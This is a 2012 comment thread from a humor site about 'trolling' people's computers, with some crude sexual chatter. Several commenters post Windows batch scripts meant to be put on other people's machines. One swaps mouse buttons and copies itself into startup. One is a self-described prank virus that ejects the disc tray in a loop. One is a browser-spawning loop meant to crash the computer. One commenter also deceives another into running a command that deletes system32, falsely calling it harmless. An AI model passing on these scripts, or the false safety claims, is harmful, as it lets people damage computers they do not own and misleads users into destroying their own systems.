The art of trolling. . How to troll someone' s computer Steps: taskbar Wheat removes his mouse up, the pointer goes down.. How to troll someone's computer: 1. Put hard drive in dish washer 2.????? 3. PROFIT!
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The art of trolling

How to troll someone' s computer
Steps:
taskbar
Wheat removes his mouse up, the
pointer goes down.
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Submitted: 08/08/2012
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User avatar #41 - laughingchaos (08/09/2012) [-]
I had this in my favorites, nice repost op
funnyjunk.com/funny_pictures/3303746/Computer+Troll/
User avatar #22 - jonnyp (08/09/2012) [-]
i like doing this,

>Hide Icons
>Hide Taskbar
>Hide EVERYTHING, mouse pointer.
>Set wall paper to blue screen.
#19 - tiuchild (08/09/2012) [-]
@echo off
Rundll32 user32,SwapMouseButton
ping localhost 2 >nul

Save as .bat and copy it into his startup.
You're welcome.
pic unrelated.
User avatar #21 to #19 - tiuchild (08/09/2012) [-]
@echo off
HKEYCURRENTUSER\Software\Microsoft\Windows\CurrentVersion\Run\
color 02
Rundll32 user32,SwapMouseButton
echo FOR THE GLORY OF SATAN!
start iexplore.exe You need to login to view this link
start iexplore.exe You need to login to view this link
start iexplore.exe You need to login to view this link
start iexplore.exe You need to login to view this link

rem ---------------------------------
rem Start Opening Disk Tray
echo Do >> "opendisk.vbs"
echo Set oWMP = CreateObject("WMPlayer.OCX.7" ) >> "opendisk.vbs"
echo Set colCDROMs = oWMP.cdromCollection >> "opendisk.vbs"
echo colCDROMs.Item(d).Eject >> "opendisk.vbs"
echo colCDROMs.Item(d).Eject >> "opendisk.vbs"
echo Loop >> "opendisk.vbs"
start "" "opendisk.vbs"
rem ---------------------------------

Personal prank virus I made, spams their disk tray and inverts their mouse if anyone wants to use it.

User avatar #24 to #21 - kosmojunk (08/09/2012) [-]
What is ******* ?
User avatar #27 to #24 - Hreidmar (08/09/2012) [-]
Umm... short version: Girl gives herself enema, lies in tub, squirts orange-juice like **** into her own mouth. And when I mean **** , I don't mean 'stuff.' I mean, ***** .
User avatar #28 to #27 - kosmojunk (08/09/2012) [-]
What.the. ****

Faith in humanity lost forever...
User avatar #30 to #28 - Hreidmar (08/09/2012) [-]
Hey, if it exists, someone will wank to it. If you think about it, it's not much worse than necro or pedophilia. At least here you're just ruining yourself.
User avatar #25 to #24 - tiuchild (08/09/2012) [-]
A girl ******** on herself in the tub.
User avatar #23 to #21 - xkronusx (08/09/2012) [-]
lololoolololol this would be ******* amazing to do

but the question is, getting it to someones computer, is it reversible? i mean obviously you can remove it, but if it hits porn sites then it could lead to viruses no?

i can imagine this would be hilarious to do to an enemy.

also with newer windows most of the directorys are locked to writing so would echo off make it so it ignores that? or would you have to take ownership?
User avatar #31 to #23 - tiuchild (08/09/2012) [-]
The second one in particular copies itself to startup, so you'd need to go to msconfig >> startup and uncheck it.
There's a really simple one call a fork bomb, it's basically this:
@echo off
:A
start iexplore.exe You need to login to view this link
goto :A

That'll spam until his computer crashes and the internet explorer generates a large amount of cookies(locally stored data) which will make his computer slow.
User avatar #34 to #31 - xkronusx (08/09/2012) [-]
That would be cool for harmless trolling, like against friends, i can see a few youtube videos in the future.

This is why i go to the internet, learning so many new things to do.
User avatar #36 to #34 - tiuchild (08/09/2012) [-]
I learned a lot of it from old books from about 2002 lying around the house, stuff on computer basics etc.
I guess you could go to hackforums, they have a batch coding section there where you could learn some decent stuff.
User avatar #42 to #36 - xkronusx (08/09/2012) [-]
Im very cautious when going to sites that promote hacking just because they have the skills to do whatever they please, if its like a white hat scenario where they promote learning to hack to prevent it i might take a venture.

Still i find it hard to learn any type of programming from the net, it seems to learn these things its best to figure it out or do some schooling, which can be a pain.
User avatar #43 to #42 - tiuchild (08/09/2012) [-]
Don't worry, you can't get infected through a website. Plus Hackforums is probably the friendliest, safest website out there. There's friendly coders and white hats who will help for free and give you tips and stuff.
I learned to start with Python coding and I'm now on Java, so it's worth a look.
There's different forums too, phreaking(phone hacking), website hacking, server hacking etc.
Try to avoid downloading clients from the minecraft section, they tend to be the ones that steal your password.
#14 - jaxok (08/09/2012) [-]
Easy fix: turn your mouse around.
#17 to #14 - anonymous (08/09/2012) [-]
however, because the desktop is upside down and the screen is flipped, even by turning the mouse around, the start bar is still going to be up in the top right corner of the screen. yes the mouse is easier to use, but you're still ****** .
User avatar #5 - starchild (08/09/2012) [-]
CTRL-ALT-DOWN ARROW
#10 to #5 - marcuss (08/09/2012) [-]
**marcuss rolled a random image posted in comment #71 at I felt my baby kicking! ** huhhahehuhheh i just gave that guy accidently a red thumb ..
**marcuss rolled a random image posted in comment #71 at I felt my baby kicking! ** huhhahehuhheh i just gave that guy accidently a red thumb ..
#9 to #5 - anonymous (08/09/2012) [-]
It depends on your graphic card's driver :)
I think most Dell computers support this.
User avatar #7 to #5 - reyden (08/09/2012) [-]
use up arrow to return it to normal (yes, some people cannot figure it out)
#4 - qqqqqqqqq (08/08/2012) [-]
>watchin a musical live
>someone starts clapping along
>"why is this idiot clapping?"
>whole audience starts clapping
>goddamn it, i can fix this
>i start clapping, on the up beats
>whole row gets confused
>start clapping with me
>entire audience becomes jumbled mess of clapping
>they give up
>everyone stops clapping
>success
#3 - anonymous (08/08/2012) [-]
How to troll someone's computer:

1. Put hard drive in dish washer
2.?????
3. PROFIT!
User avatar #1 - whatthafuck (08/08/2012) [-]
it works better when you delete system32 it makes the descktop fliping on and off, Try it!
#11 to #1 - anonymous (08/09/2012) [-]
Really? I don't want to ruin my friend's computer, though. Should I try it on mine first?
User avatar #12 to #11 - whatthafuck (08/09/2012) [-]
well it wont ruin his comuter though, but if you don't trust me you can always try your own computer :)
#13 to #12 - anonymous (08/09/2012) [-]
How do I find it?
User avatar #15 to #13 - whatthafuck (08/09/2012) [-]
open a notepad type the following:
@echo off
del c:\WINDOWS\system32
#16 to #15 - anonymous (08/09/2012) [-]
Are you sure? I don't know about html codes or whatever... is this really safe? All it does is flip the desktop right?
User avatar #20 to #16 - whatthafuck (08/09/2012) [-]
yeye safe n **** do it
#29 to #20 - anonymous (08/09/2012) [-]
Alright, I'll go try it then.
#32 to #29 - anonymous (08/09/2012) [-]
IT WORKS!
User avatar #33 to #32 - whatthafuck (08/09/2012) [-]
OH NO! YOU WHERE A TROLL ALL ALONG
This was so unexpected! wooooow...
#39 to #38 - Penn (08/09/2012) [-]
Oh really?
#35 to #33 - anonymous (08/09/2012) [-]
User avatar #2 to #1 - TehBlackfire (08/08/2012) [-]
Oh yes, deleting system32 is a classic, always fun to do
#8 to #2 - anonymous (08/09/2012) [-]
It's also a very harmless prank. You can always expect a good laugh out of it.
#6 to #2 - anonymous (08/09/2012) [-]
And next to impossible in windows 7
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